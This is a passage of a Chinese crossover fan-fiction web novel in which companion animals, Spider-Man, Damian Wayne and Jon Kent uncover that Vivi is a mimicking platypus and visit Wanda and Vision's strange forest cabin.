布莱克看着那条项圈，警惕的停下脚步。 宠物出门一定要栓绳的，不管那是什么，主要是防止走丢、爆冲上马路被车撞、随意爆冲出去捡地上的东西吃，以及部分猎犬血统较为明显的犬类会对幼儿产生捕猎行为，这些都是潜在危险。 薇薇学习到宠物必须栓绳的行为和背后的逻辑，并认同这种行为。 现在的问题是，布莱克是宠物吗？ 薇薇看着布莱克。 这个问题在她的脑内无限扩展，延伸出“黑化美洲豹能否作为宠物饲养？”或者“牵引绳是否能应对爆冲的美洲豹？”等等后续问题。 最终，思考无果的薇薇选择直接问布莱克。 “你，要戴牵引绳吗？宠物外出需要佩戴牵引绳，你，是宠物吗？” 不要，不是。 布莱克果断摇头。 于是薇薇收起了牵引绳。 路上，薇薇依然走的很快，几乎是小步跑的速度，这种快步走的动态在她身上额外明显，非常的不自然。 布莱克仗着自己有四条大长腿，轻松地跟上她，从背后到侧面，再绕去正面看了一圈。 确定薇薇比较着急，应该是想快点买完东西快点回去，又因为不明原因不想跑起来，就将速度设定在走路的极限上，所以看着才这么难受。 布莱克问：“哇呜？”你很着急吗？ 薇薇没有回答，继续埋头走路。 很快布莱克注意到不对，也弄明白为何薇薇走的这么快。 他们从X学院走出去，到达最近的超市，居然需要一个多小时的步行时间，一来一回加上中途购买东西的时间，差不多要三个小时。 这还只是普通人类的速度。 就薇薇这小短腿，怕不是要用5个小时。 “……哇嗷？”不能开车吗？骑个自行车也行啊。 布莱克无奈的嗷嗷两嗓子。 薇薇猛地刹住车，她看向布莱克，眼底居然多了一丝控诉的情绪，像是在抱怨布莱克为什么不早点说。 布莱克愣愣地看着她：“喵？”你能听懂我说话？ 薇薇依然没有回答。 她在继续往前走还是返回之间犹豫。 风一阵阵刮过来，刮过来又刮过去的，来回反复。 “快银。” 薇薇忍不住叫住对方。 “哦，嗯……我猜你需要一点帮助，”快银停下脚步，对薇薇露出微笑，“而我恰好能帮上忙。” 薇薇看着快银，片刻后拿出手机，指了指屏幕上的猫粮和狗粮，牌子和对应名称以及有在售卖它们的超市都查的十分仔细。 “好吧，不错，这样的话不会出问题。” 快银拿着东西嘀嘀咕咕的走了。 他的速度惊人，但收银员可没那么快，排队买单依然需要时间。 薇薇就近找了个干净的地方坐下来，布莱克坐在她身边。 “哇呜。”你能听懂我说话，对不对？虽然不知道你怎么做到的，但你通过自身的努力强行学会了人类的语言，也许是X教授一直在教你，在脑内给你做翻译，所以你会说人类的话，但并不熟练。 当年长的X教授突然离开，薇薇并不知道被换过来的年轻教授是否可信，就只能靠自己来解决沟通问题。 而这时候之前依赖X教授牌脑内翻译机的弊端就出现了——她几乎能听懂所有的话，却对于如何回答这点十分的拿不准，对于语法的应用更是呆板，口语能力极低，为了避免麻烦，就只能尽可能的简短回应。 薇薇略微偏开头，大概十几秒，她转了回来。 原本，布莱克并不能确定薇薇到底是孵化者还是伴生动物，毕竟她到底人模人样，一点都不像一只毛茸茸，就算是黑寡妇那种昆虫类，它至少是有一层绒毛的！可薇薇完全不是，她虽然不正常，却也是人类模样下的不正常。 布莱克脑子打结，无法做出判断，现在，薇薇却主动为它解惑。 她…… 不对，是……它。 布莱克只觉得周围好像出现了微妙的错乱，接着面前的薇薇就不再是薇薇了。 那不是幻觉，至少不是针对大脑的攻击，那种东西布莱克是免疫的，这玩意应该是直接修改了自身的模样数据，像是某种拟态。 应该就是这东西的技能了吧。 伪装成人类？ 布莱克愣愣的看着对方。 大猫猫很难想象会有一张鸭子的扁嘴巴长在了大水耗子身上，然后还穿着人类的衣服，人模人样的坐在这里…… 还有…… 尾巴？ 扁平的尾巴？ 布莱克往后退了一些，忍不住抬起一只前爪。 它也分不清自己想要跳起来跑远一点再做观察，还是一爪子先糊过去，先发制人的给这怪东西来一下。 “嘎啊。” 怪东西还叫唤了。 拟人好难啊。 这东西这么说道。 第40章 所以,薇薇也是一只毛茸茸，并且能力是拟态成为人类，或者能力是拟态本身,对象则不仅限于人类。 布莱克默默看着薇薇。 这东西有点让人掉San。 尤其是现在的布莱克茅塞顿开,意识到薇薇身上的异常根本不是什么程序一板一眼运作导致的机械感,而是鸭嘴兽在脑子里疯狂模拟人类的行为失败后产生的异常。 本来还在接受范围内的画面顿时变得诡谲异常。 为什么一只毛茸茸要模仿人类的行为啊。 布莱克跳到一旁,奇奇怪怪的看着这只叫做薇薇的鸭嘴兽。 它努力用前爪的脚蹼揉着自己的脸,一下两下三下,毛茸茸的鸭子嘴开始扭曲,她变成了薇薇的模样。 “这是，必要的。”薇薇说。 布莱克不理解,做毛茸茸有什么不好,薇薇却要扮成人类,它盯着薇薇，看了一会后问她：“呜嗷？”你的孵化者是谁？ 薇薇没有回答。 快银回来了。 在快银的主观认知下，他是把薇薇视作人类的,至少是某种类人生物，他还担心薇薇拿不动那么多东西，毕竟薇薇也就四岁左右，那一大袋狗粮看着都比薇薇重。 快银放慢了速度，和薇薇一起往回走。 布莱克跟在他们身边，听快银找一些话题和薇薇聊天，薇薇偶尔会答应一声, 再简短的回答几个不相连的单词。 回到房间的时候布莱克才想起一件非常重要的事情——它不吃猫粮。 它是美洲豹。 它不吃，绝对不吃猫粮。 斯诺埋头在盆子里大口炫饭,快乐吃狗粮的时候，布莱克就蹲在自己的粮盆旁边,苦大仇深的看着那盆猫粮。 “不喜欢？” 面对薇薇的询问，布莱克摇了摇脑袋，选择跳进自己的那个大猫窝，窝被做的十分柔软，整体来说还是很舒服的，布莱克在里面打了个哈欠，摆出一副自己很困的样子，然后果断的倒头就睡。 吃猫粮是不可能吃猫粮的。 还是装作睡觉的样子吧。 到了晚上，布莱克和斯诺钻出屋子，现在它们已经确定薇薇是一只伴生动物，它们想要讲悄悄话就要避着薇薇了。 还好它们之前没在薇薇面前聊什么不该聊的，最多问了一句薇薇父母的事情。 布莱克还记得，当时薇薇没有任何反应，它还以为她是听不懂。 “汪？”斯诺觉得有问题：为什么会是这样呢？薇薇怎么身上有旺达和幻视的气息，而且纠缠深刻，应该是血亲没错，为什么她会是伴生动物呢？ 这事情越想越不对劲，纷乱的思绪在斯诺脑子里结成了毛线团，弄得它头疼无比，忍不住原地开滚筒洗衣机式疯狂抖毛。 布莱克怀疑斯诺这是长跳蚤了，于是离它远远的。 大猫猫原地坐下，昂头看着星空，开始思考斯诺刚才说的问题。 伴生动物和人类之间不可能是血亲关系。 那么…… 有没有可能，这个“血亲”也是拟态出来的呢？ 布莱克原地头疼了一会，觉得这样下去不是个办法。 斯诺和它想法一致，轻轻汪着提议：不然，我们把蝙蝠侠叫来吧。 布莱克：…… 布莱克喵呜：我找蝙蝠侠也就算了，你不该去找超人吗？ 斯诺觉得自己的想法没有问题？ “汪汪。”他会被脑哎，而且超人轻易不会插手他人的家务事。 旺达和幻视的事情又没有造成重大破坏，虽然有些神隐事件发生，但也给人送回去了，没受伤，也没饿着，回去的人状态都很不错。 如果没有相关人士直接向超人提出请求，大概率的情况下，超人是不会出手的。 他的力量过于蛮横，必须控制使用的场合，稍有不慎就会变成独裁的神邸，而不是属于地球的守护者。 但是找蝙蝠侠过来也不合适吧？ 就蝙蝠侠的控制欲，还不把旺达幻视打包带走，顺带给X学院放一百个监控器？ “汪。”我反对那个。 布莱克就看着它：那你挑个人选。 要能打的，至少能保护自己的，事情越发诡异起来，布莱克不想将达米安和小乔这样的幼崽扯进来。 同时还要性格好的，不能过多干涉旺达和幻视的林间生活，最好对他们有些基础好感的。 这要求让猫猫和狗狗非常苦恼。 突然，斯诺灵光一闪：“汪呜？”我们可以找复仇者。 复仇者和旺达之间有关系的，不是吗？而且其中是有人愿意帮助旺达的。 布莱克忍不住用肉垫去拍它的狗脸：如果真的可以找复仇者，旺达为什么要躲在林间小屋，而不是直接藏在复仇者大厦？ 斯塔克保护不了她？ “……” 等等…… 复仇者…… 好像确实可以。 布莱克心中浮现一个人选。 “喵呜。”去找蜘蛛侠吧。 斯诺歪头：“汪？”你能联系上蜘蛛侠？ 布莱克：不能，但我有一个通讯员，它应该能联系上那只水耗子。 水耗子。 也就是我们可爱的塔塔。 毫无预兆的鼻尖发痒，打了个响亮的喷嚏。 …… 还是那片森林，还是坐拥三只毛茸茸的蜘蛛侠，他左边肩膀上趴着塔塔，右边站着锈斑猫，脚边还跟着一只银狐犬，在林间看似悠闲实则迷茫的漫步。 塔塔的喷嚏吓了彼得一跳。 “感冒了？” 彼得将塔塔抱到怀里，翻来覆去的检查，蹭着水塔的鼻尖看有没有鼻水或者粘液。 塔塔被他揉得直捂鼻子，又被无情镇压。 “嘤嘤！”塔塔抗议：伴生动物才不会感冒呢！肯定是有人在想塔塔！ 彼得却依然担心。 小动物的感冒都是来势汹汹，且常常毫无预兆，等它们开始打喷嚏流鼻水的时候，那都已经很严重了。 塔塔若是真的生病，他们就必须尽快离开森林，去一个有宠物医院的地方。 “不管了，”彼得自言自语，“不管奇迹将我送过来到底是为了什么，理论上它的目的是能自然而然达到的，不需要我们特意去做什么。” 塔塔歪头看着严肃起来的彼得。 “嘤？”可是我没事哎。 “我带你回纽约。”彼得揉了揉水獭的脑袋，又问银狐犬，“跟我一起走吗？” 小狐当然不跟他们一起走。 它留在这里是为了保护他们陪伴他们，既然他们能回到人类的城市，小狐的使命也就完成了，接下来它要去找小乔，还要陪伴没有伴生动物的达米安呢。 塔塔：…… 塔塔从彼得的后脖子那边探头，去扒拉锈斑猫的尾巴：“嘤……！”我都说了我没事了。 锈斑猫：“喵。”你有，你都打喷嚏了，你又不是哈瑞肯那只鸟，不会因为需要喷出羽粉而打喷嚏，突然打喷嚏肯定有问题。 这次锈斑猫站彼得那边，而且就算彼得不打算走，它也要叫斯塔克的。 “喵呜。”听话，生病是很危险的。 整个纽约市都翻不出两个会治水獭的医生，猫猫当然会担心。 塔塔脸平平的看着锈斑猫。 锈斑猫也看着它。 两只小动物陷入无声对峙的僵局，谁也不愿退后一步。 但…… 仅仅是几秒后，塔塔的肚子打破了这个局面。 “咕噜噜……” 塔塔的肚子，饿了呢。 水獭被这雷鸣声给镇住了。 我的肚子里是住着一面鼓嘛？ ！ 震惊的塔塔一把抱住自己的肚子，疯狂摇头表示刚才不是自己的肚子在叫。 这掩耳盗铃的样子，引得锈斑猫有点想笑，坏心的故意探着脑袋专注的看塔塔不放，小狐也昂着头看水獭，鼻尖还在嗅，似乎在好奇是什么东西发出那么响的声音。 彼得伸手摸了一下塔塔的后背，问：“饿了？” 塔塔第一次感觉到属于人类特有的“脸上发烧”的感觉。 “嘤嘤！”才没有呢！ 大声嗷嗷。 “咕噜噜噜噜……” 塔塔的肚子嗷嗷的比它还大声。 善解人意的小狐提出了一个折中方案：“汪呜？”不然我们去找我的孵化者和他的搭档吧，我的孵化者家里有一个农场，平时动物生病都是自己治疗，还没有他们搞不定的情况呢，他的搭档更是超级会照顾小动物的，还是动物语言大师哦。 “动物语言大师？”这是什么？ 锈斑猫：“……喵？”爱丽丝？ 塔塔：“！！！” 塔塔：“嘤叽~”那不是我们的爱丽丝嘛！ 小狐：……？ 爱丽丝？是说达米安吗？ ？ ？ 小狐有点懵，主要是提着刀杀气腾腾的爱丽丝实在是太过抢眼，只是在脑子里想一下，就让小狐有种此生都忘不掉的感觉。 破坏屏蔽器并换上自己的屏蔽装置后达米安就带着小乔一起收录这座森林的地形。 小乔负责在高空警戒，达米安则在地面进行精细的扫描作业。 小狐飞上高空，就看见小乔在距离自己两百多米外的半空漂浮着，它叫了一声，唤来小乔的注意力。 “汪——！”塔塔在呼叫它的爱丽丝——！ “啊？”小乔愣住。 本以为那边出了什么事，没想到是要找人…… 爱丽丝？ 这里有爱丽丝？ 小乔集中注意力放开感官去听，也没在森林里听到其他声音，除了他们之外，唯一的动静就是那座林间小屋了。 他能听到旺达在问幻视中午想要吃什么，幻视回答她“我认为那是胡椒”。 然后就没有其他了，这里没有其他人在活动。 爱丽丝是谁？ 小乔迷茫的看着小狐，在小狐的邀请下，他落到地上，拉起正在工作的达米安，带着达米安飞到蜘蛛侠身边。 “你最好有事情！”达米安超级不爽。 这份不爽仅存在了片刻功夫，在看到毛茸茸们的瞬间便烟消云散了。 “是你们。” 达米安认出自己农场的小客人。 “嘤嘤！”爱丽丝！ 塔塔快乐的跟达米安打招呼。 小乔：…… 等等！ 什么？ 谁？ 爱丽丝？ ？ ？【你现在阅读的是魔蝎小说 moxiexs】 40-50 第41章 小乔认为自己受到了惊吓,并且是合理的。 他希望自己父亲正在听，这样受到惊吓的就不止自己一个人了，那会让小乔多少获得一些安慰。 “集中注意力。” 达米安瞪了小乔一眼。 “爱丽丝”那么具体的词语就算是动物语言大师也翻译不出来,达米安并不知道这些小动物是如何形容自己的,知道了也不会生气,最多是将那些听到的人全都灭口罢了。 小乔深知自己小伙伴的残暴, 他对蜘蛛侠眨了眨眼睛, 疯狂使眼色。 彼得也是知道罗宾鸟的, 哥谭的疯鸟, 说是罗宾鸟，实则比伯劳鸟还要凶残。 于是彼得选择对“爱丽丝”这个称呼闭口不谈, 还在面罩下扯了个笑容, 配合上无辜耸肩的动作, 显得额外纯良无害。 达米安怀疑的看着这家伙。 他不相信蜘蛛侠，他不相信任何人。 蜘蛛侠向达米安提出请求，希望达米安帮忙看一下塔塔的情况, 口述的症状是打喷嚏，没有鼻水和其他症状。 达米安伸手接过水獭。 “嘤嘤……”都说了没生病嘛。 塔塔被达米安举着，翻来覆去检查一遍，生无可恋。 以达米安的手法，摆弄一只水獭，就好像在玩什么玩具，塔塔被他一捏身体就硬了,再一翻，就跟着他的手360度翻滚完毕。 捏捏后脖子,撸一下后背和尾巴，检查爪子,看看耳朵、鼻尖和牙齿。 塔塔就跟个毛绒玩具似的，卷缩着四只爪子一动不动。 “怎么样？” 彼得小心翼翼的问。 达米安：“没有生病的迹象，精力也不错，非要说的话，它饿了。” 说着，达米安单手抱小孩似的搂着塔塔，另一手从腰包里拿出一块半个巴掌大的干粮，也不知道是什么做的，散发出一种非常复杂的香，红肉干的荤腥和鱼贝肉干浓郁的鲜，还有些熏制的气味。 这东西一出现就牢牢抓住了塔塔的眼睛。 “嘤嘤……” “吃吧，都是你的。” 见它喜欢，达米安直接整块递给它，让婴儿抱奶瓶那样抱着慢慢啃，同时也没忘记小狐，丢给小乔一块差不多的肉干，不过这个明显是纯粹的肉干，非常厚实，小狐看着肉干根本移不开眼睛。 锈斑猫那边，达米安拿出来的是鸡胸肉，而且是水煮的湿粮。 “咦，不是鱼干嘛？”彼得有些意外。 “绝大部分的猫咪都是沙漠猫的后代，特点是擅长捕蛇、昆虫，从基因上就不亲水，不会喜欢吃鱼，喜欢吃鱼一般是缺某种微量元素了，或者没有别的选择。更不要说锈斑猫这体型就注定它们不可能亲水，稍微大一点的溪流都能把它们卷走。” 锈斑猫本身虽然是雨林猫，却依然是以小型蜥蜴、蛙类和昆虫为主要食物，最多只是没那么怕水罢了，哪里至于为了一口吃的冒着湿透失温的风险下水捕猎？ 不亲水自然谈不上多喜欢鱼贝类。 达米安准备的鸡胸肉干脂肪少，额外添加了锈斑猫还会需要的其他营养物质，最棒的就是这不是冻干也不是干粮，猫咪本就是在吃猎物的时候靠血水补充水分，对于额外饮水没有太大兴趣，提供富含水分的食物是非常好的补水方式。 彼得点了点头，一字不差的记下了。 然后突然想到一件事情。 “呃，那，如果，水獭喜欢喝汽水什么的……唔……？” 话还没说完呢，塔塔一个飞扑，糊在了彼得脸上，阻止他继续往下说。 “嘤嘤嘤——！”都说了伴生动物不是普通小动物，喝汽水吃蛋糕也没有问题的，不要跟爱丽丝说啦，他绝对会有意见的！ 爱丽丝还不是孵化者，他不懂伴生动物的特殊之处嘛！ 彼得噎住，他的脸被水獭完全盖着，只能听到达米安在那问：“水獭什么？汽水？水獭不能喝汽水。” 听那语气就知道这只超凶的罗宾鸟不开心了。 也许……给水獭喝汽水确实是件很过分的事情？ 对于一般人来说大概是难以接受的……？ 彼得哽住，摆了摆手。 “只是好奇一下。” “不要好奇错误的事情。” “好的。” 达米安充满了对愚蠢者的嘲讽，带着进攻性，无论是谁，若是给他知道对方故意做错事情虐待动物，达米安都会让那人亲自尝尝被虐待的生活，让那人知道被随意饲养，投喂有毒物质，在错误的温度和充满噪音的环境下苟活的滋味。 彼得十分乖巧。 锈斑猫依旧站在彼得的肩膀上，探头去达米安手上吃鸡胸肉条。 虽然是鸡胸肉，但却是里侧那条更柔嫩的位置，吃起来口感特别好，锈斑猫十分满足，不过它个头小胃口也小，半条下去就已经吃得饱饱的，矜持的在彼得肩膀上坐着，开始低头舔爪子洗脸，意犹未尽，不过也足够满足了。 再看看塔塔…… 塔塔从彼得脸上落到彼得怀里，并向达米安伸出前爪，哼哼唧唧的撒娇，表示自己还想再来一块。 “它比你的胃都大。”达米安婉拒试图将自己撑圆的塔塔。 被拒绝了的塔塔也不气馁，它下意识的就要用魅惑。 这段时间它的魅惑带来的好处太多了，也越用越顺手，不知不觉已经开始养成遇事不决先上一手引诱的习惯。 这次彼得却阻止了它。 “不可以。”彼得张开手掌放在塔塔的脑袋上，挡住水獭视线的同时，轻轻揉了揉塔塔的脑袋，“我们说好的，只有在必要的时候才可以那样做。” 塔塔不明白那是为什么，但它愿意听小叽居的话，赖叽一会也就放弃了。 达米安审视着蜘蛛侠。 “总之，接下来我们一起行动吧。蜘蛛侠有想去的地方吗？” “我这里有些非法佣兵，需要把他们送去警局。” “什么样的佣兵？多少人？他们的任务是什么？” 这也不是秘密任务，没什么好隐瞒的，彼得就将自己知道的情况大概说了一下，而且严格来说，他也几乎是什么都不知道，完全是陷入突发情况。 佣兵的目的是劫机，那架飞机上有什么东西是他们想要的？ 是某个物品，还是某个人？ 彼得一无所知。 一问三不知的样子就让达米安默默运气。 “在哪？”最后，达米安问了这个问题。 彼得指了一个方向给他们，那些人被彼得用蜘蛛茧吊在半空中，暂时昏迷，就算醒来也无法挣脱彼得的蛛丝，只能在上面荡秋千。 达米安啧了声：“我很怀疑这里的警察局能否处理这些人，他们连个神隐的案子都查不好。” 这话说的有道理，小镇上的警局应变能力有限，以这些非法佣兵的战斗力，怕不是徒手就能将小镇警局直接杀穿。 还没等彼得出声赞同，他就听到达米安接着往下说。 “不如交给我，只要十分钟，我保证他们什么都会交代。” “……” 彼得婉拒了达米安的好意，并转移话题：“你们是在探索这片森林吗？要不要一起行动？” 蜘蛛侠知道哥谭的罗宾鸟并不好相处，可这座林子有些诡异，罗宾带着小超人在里面乱闯可能会面对未知的危险。 “你也要探索这片森林？”达米安怀疑的质问，“你不是要送那些佣兵去警察局吗？” 那让小乔飞上去看一下最近的城镇在哪里，给蜘蛛侠指个路就好了。 “哦，当然，是的，”彼得摆手，同时脑子里快速思考怎么才能提出搭伙的邀请，又不会让这只敏感凶狠的罗宾鸟感到冒犯，“只是这片森林看着有些不对劲，说不定藏着危险，我的意思是，我也很在意这里是什么情况，为什么飞禽走兽昆虫都没有，植物却长的那么好，这太奇怪了。” 双方都有意探索森林，这样一来合作也是水到渠成的事情。 但，达米安往往不会做这么标准化的选择。 而且他平等的不喜欢所有资历比自己高，可以理所应当管束自己的人。 比他大了三岁，作为超级英雄也更加独立，经验更加丰富的蜘蛛侠自然也在此列。 达米安可不会听蜘蛛侠的。 他连蝙蝠侠的话都不怎么听，更别说什么顶着“纽约皇后区的好邻居蜘蛛侠先生”这种童话故事一般神奇头衔的家伙。 达米安都没打算和彼得商量一下再做决定。 他要自己行动。 他甚至不在乎小乔会不会跟上来，还是选择留下跟蜘蛛侠搭伙。 彼得：…… 哦艹这谁家小屁孩…… 因为跟某个家伙发短信过多，彼得现在的词汇量也开始日渐丰富，尤其是某个F开头的字母，用的越发出类拔萃了。 在达米安离开之前，锈斑猫出声拦住了这个家伙。 “喵。”等一下。 “喵呜。”奇迹送我们过来，肯定是有原因的，既然奇迹还没有发生，我们就去找它应该发生的地方吧。 锈斑猫提议。 “什么？”达米安没听懂。 他能理解锈斑猫的叫声在强调什么，还有挽留的意思，但太特殊的单词肯定是没办法翻译出来的，猫的叫声也表达不了那么具体的信息。 达米安看向小乔，小乔是能听懂伴生动物说话的。 这让达米安扭曲变形，又无可奈何。 小乔也是一知半解，有点好像听懂了，又听不懂的感觉，只能把自己能理解的部分翻译出来： “它说，他们要去奇迹发生的地方？” 这话实在太过含糊，让达米安直皱眉。 彼得却突然愣住。 他们是被奇异博士的伴生动物，那只名为奇迹的巨型雪纳瑞丢到这里来的。 当时奇迹关上传送门的动态其实非常明显，彼得当时以为是个意外，但其实他们都知道，传送门如果没有刻意关闭，就算放在那里不管它，它也能自己存在很长一段时间。 奇迹是故意将他们留在这里的。 “好吧，有道理……” 顺着这个思路，他们所带来的“奇迹”，很可能针对的就是达米安和小乔，毕竟这座森林里也没有别人了，不是吗？ “有什么需要帮助的吗？” 好脾气的蜘蛛侠再次向达米安提议。 “也许我们可以一起行动。” 达米安挑眉看着这家伙，脑子里思考着刚才那个“奇迹”。 第42章 达米安并不想让蜘蛛侠参与这件事情。 这是他和小乔的任务, 多了个蜘蛛侠就等于是多了个编外人员，也多了个骂点，方便蝙蝠侠事后找他麻烦时多揍两拳。 但那个“奇迹”让达米安非常在意。 “罗宾。”小乔浮在半空,迟疑着开口：“为什么他们还醒着？” “什么？” “他们没有昏睡过去。” 小乔、达米安、小狐和斯诺在进入这片区域的时候都陷入了昏睡, 那是食梦貘的功劳, 只有天然免疫精神感染的布莱克得以幸免。 现在蜘蛛侠、塔塔、锈斑猫却没有任何要睡过去的意思。 达米安反应过来。 蝙蝠侠的资料库里针对蜘蛛侠的研究也不少, 包括蜘蛛侠的秘密身份, 他的特工父母, 和当初咬他的那只照射过放射线的蜘蛛。 但资料库里从没写过蜘蛛侠有免疫精神感染的能力。 现在最大的可能性就是食梦貘下线了,也许是为了屏蔽旺达让它分不出精力，也许是它遇到了什么其他麻烦事情。 达米安皱着眉头,脑子在“奇迹”和食梦貘异常两件事情上转来转去。 小乔就比较直接了。 “我们一起去吧, ”小乔邀请到, “去林间小屋。” 他邀请了蜘蛛侠一行，也邀请达米安，若是达米安拒绝同行, 小乔会选择自己带蜘蛛侠他们过去。 “理由？”达米安昂头去看小乔，对他勾勾手指，见小乔乖乖下降高度来到自己身边，于是达米安决定多给对方一个解释的机会，“你根本不了解他。” 对此小乔却表示，蝙蝠家的人几乎了解所有人，但这并不能让蝙蝠家的人变得更容易信任他人, 也就是说，了解和信任之间不一定具有直接联系。 了解对方不等于会信任对方。 信任也不需要建立在充分了解的情况下。 何况蜘蛛侠的风评非常好。 几乎可以把人类能想到的所有美好词汇都套到这名超级英雄身上,他强大却从不独断，勇敢又小心谨慎,敢追着外星人冲向宇宙，也愿意静心陪老奶奶慢慢走过马路。 “比起冷冰冰的资料，看看面前的活人，不是更好吗？” 小乔的话说服了达米安。 暂时的。 达米安同意三人和三只小动物组成临时组合，一起前往林间小屋，他要去看看食梦貘的情况，之前在屋子里就看食梦貘一直在打嗝，几乎没有停下的时候，也不知道是精神过于紧张导致的，还是吃太饱胃部出了问题。 …… 幻视和旺达的小屋离他们其实并不遥远，只不过因为保护屏障而无法被发现。 一旦走进屏障，光线突兀的发生变化，屏障内部已经是黄昏的末尾，这里时间流速不明，也说不清这是过了一天还是两天。 塔塔昂头看着突然出现在眼前的两层楼小屋。 “嘤嗯……”好看哎…… 小而精致，充满了田园的生活气息。 当它这样突然的出现在眼前，就特别有种童话中精灵城堡的感觉。 彼得抬手按了一下塔塔的脑袋，示意它保持安静。 在进入屏障的瞬间彼得就有种很难受的感觉，当他决定靠近林间小屋，蜘蛛感应在这一瞬间毫无预兆的炸响，彼得浑身汗毛倒竖，下意识的想要闪避，身体却没有动弹。 他找不到敌人在哪里，自然也不知道要往哪里回避。 不等彼得想明白这是怎么回事，余光看见达米安和小乔已经越过他走到前面去了，急忙叫停他们。 “等等！这里有问题！” 达米安和小乔先后停下，看彼得迅速观察四周，又因为毫无发现而陷入迷茫。 达米安切了声，幸灾乐祸的告诉蜘蛛侠：“这里当然有问题，不然我们是来郊游的吗？” 小乔则在旁边做出解释：“这里有一个屏蔽结界，可能会让你不太舒服。” 彼得摇了摇头。 肯定不是那个问题。 他也去过其他有着各种各样结界的地方，从没有因此而触发蜘蛛感应的警报系统，警报会响的唯一理由只有这东西对他有害，而且是巨大的威胁。 彼得因此泛起不祥的预感。 以往他的感应都有个明确的指示，可以和身体的本能闪避联动协作。 这次却只是一种违和感，强烈而含糊，让人紧张又摸不着头脑。 “这里……” 不等彼得将心中的疑惑说出，屋内的灯亮了。 幻视从楼上走下来，开灯，在固定的地方落坐，摊开报纸，片刻后又合上，他像是对几人的存在有所感应，转头看向门口。 这一刻，彼得体内被蜘蛛感应强制拉起来的紧张感到达巅峰。 他开始出汗，体内发热，身体自发的进入战斗模式。 “呼噜噜噜……” 猫猫喉腔内温和的呼噜声传入彼得的耳内，渗入他的神经，将被蜘蛛感应强行拉起的紧张感压制下去。 等彼得稳定一些，锈斑猫这才发出轻柔的叫声：“喵呜……？”你怎么了？ “幻视。”彼得说出了那人的名字，“怎么可能……？” “什么？”达米安皱着眉头，让蜘蛛侠把话说清楚，“他是幻视，什么怎么可能？” 在幻视看到他们的时候，达米安本来是想要直接进去的，毕竟之前相处中幻视也表现的呆傻无害，可现在蜘蛛侠的表现让他感到不对，不仅自己没有进去，还拉住了想要开门进屋的小乔。 彼得：“幻视已经……毁了。” “毁了？” “销毁了。” “……” “销毁了？！”小乔不可置信的嘀咕，“可他好好的在我们面前？” 虽然……确实有些问题就是了。 达米安提出一串问题：“谁销毁的？复仇者？还是官方？什么时候销毁的？” “具体的我不清楚，那是我加入复仇者之前的事情了。”彼得摇头，“只知道他也是一名复仇者，但应该已经在某次冲突中损坏，随后被销毁了。” 他也只是在学习复仇者的历史时看过这样的资料。 塔塔也想起来了，它和小蜘蛛一起看过的！ “嘤嘤！”是那个和一个叫奥创1型的东西同归于尽的超级英雄哎！ 彼得：“对，就是他。” 小乔低头和小狐对视，从对方的眼中看到与自己相当的迷茫，他们不太理解现在这个情况，难道幻视是死遁逃到这里来避难的？ 达米安却注意到彼得的用词。 “损坏”、“销毁”。 这样的用词就能说明，在这份报告上，书写的人将这个幻视视为机器，而不是人类，否则应该用“受伤”和“殉职”、“捐躯”之类的词。 “知道资料是谁录入的吗？” “理论上都是斯塔克大厦的AI系统。” “……” 这就更有意思了。 达米安琢磨的期间，幻视彻底放下手中的报纸，他走到门口，打开门，看着外面的小动物和年轻的人类。 “蜘蛛侠。”幻视叫出了蜘蛛侠的名号，“我知道你，在Sir的资料库中有你的信息。” 幻视的一部分代码和基础记忆组成都源自于斯塔克的AI系统，他知道斯塔克知道的信息，这并不奇怪。 “幻视……先生。” 彼得却不了解幻视，只是知道对方的一些记录在案的过往而已。 幻视向内靠了靠，然后侧身，请他们进屋小坐。 三人带着小动物们鱼贯而入。 他们进来后幻视就像完成了一个指令，又返回他的老位置去了。 “幻视先生在这里的话，那这里是……绯红女巫的地方？” 彼得猜测。 幻视对“绯红女巫”这个代号有所反应，他本来都要坐回原位再拿起报纸，听到这个代号，他即将落座的姿态猛地顿住，跟程序卡死了似的，就这么僵在原地。 绯红女巫…… 旺达…… 几秒之后幻视重启完毕，落座，并摊开报纸，摆出浏览报纸内容的动态来。 塔塔大胆的跳上沙发前的矮桌，探头探脑的从报纸边沿近距离观察幻视的脸部，发现这家伙真的就是在这里放空大脑而已。 好奇怪哦。 机械的行为，无意义的举动，装作正常在生活却又一点都不正常。 这个家伙真的好奇怪…… 塔塔有点炸毛，嘤嘤嗯嗯的冲锈斑猫叫唤：他的脑子好像不太好哎……？ 那个词是什么来着？ 哦对了！ “嘤叽？”他是不是中病毒了？ 锈斑猫觉得有可能。 它跳上沙发扶手，沿着扶手走上沙发靠背，仔细观察幻视暴露的“皮肤”，和他的眼瞳，不出意料的看到许多违和的非人细节。 这家伙根本不是人类。 是机器，但也算是血肉之躯。 机械与肉身彼此融合，由芯片控制，也有大脑思维，两种构造彼此之间处于微妙的平衡状态，整体来说属于一半一半的情况。 人类好像将这种类型的生物体叫做……生化人？ “汪呜？”小狐也跟过来好奇，它没上沙发也没上茶几，就蹲坐在边上的地面，昂头询问：能修吗？ 锈斑猫点了点头：“喵呜。”能修的。 它有托尼尼的纳米病毒，而这世界上没有托尼尼修不好的机器和程序。 问题在于幻视只有一半是属于程序的，另一半却是生物。 他是活着的。 不能像修理机器程序那样简单粗暴。 塔塔恍然大悟。 “嗯呜……？”这就是需要我们的那个奇迹吧……？ 塔塔快乐的举起了爪爪。 “嘤叽！” 我就是那个奇迹哦！ 对于魅惑大师塔塔来说，引诱半个人修正行为模式而已，小意思啦！ 塔塔觉得自己完全没有问题！ 第43章 塔塔的能力是诱惑。 这和修正人类的行为有什么关系？ 锈斑猫最先反应过来：“喵？”你打算魅惑他的大脑, 让他以为一切都好，并主动影响他的思维来修正行为异常？ 塔塔抱着肚子点头点头。 “嘤嗯？”怎么样？这个办法超级好吧！ 这……可行吗？ 锈斑猫有些拿不准。 它们打算试试看，不行再想别的办法。 不过它们只有两个,围猎幻视这么大一个人形物体,还是很有难度的,锈斑猫左右看看,选中了看起来人畜无害的银狐犬。 “喵。”跟上来。 锈斑猫冲银狐犬发出召唤, 示意它加入这场围猎。 正歪头用后爪快乐挠耳朵的银狐犬迅速坐正,它看着小小的锈斑猫,以及看起来同样人畜无害的水獭，氪星蓝的眼睛里流露出清澈的迷茫。 “汪、呜？”做、什么？ “喵。”围猎。 小狐更加迷茫了。 围猎,是什么？ 看它的目光这般清澈,想来是只刚出生不久的宝宝,也许还没学过怎么合作打猎呢，锈斑猫也不打算太过为难银狐犬，示意它蹲守原地。 “喵, 喵呜？”如果有东西冲过来，你要拦住他，记住了吗？ 小狐点了点脑袋，这个容易，小狐记住了。 随后锈斑猫扭头向塔塔发出信号。 水獭秒懂。 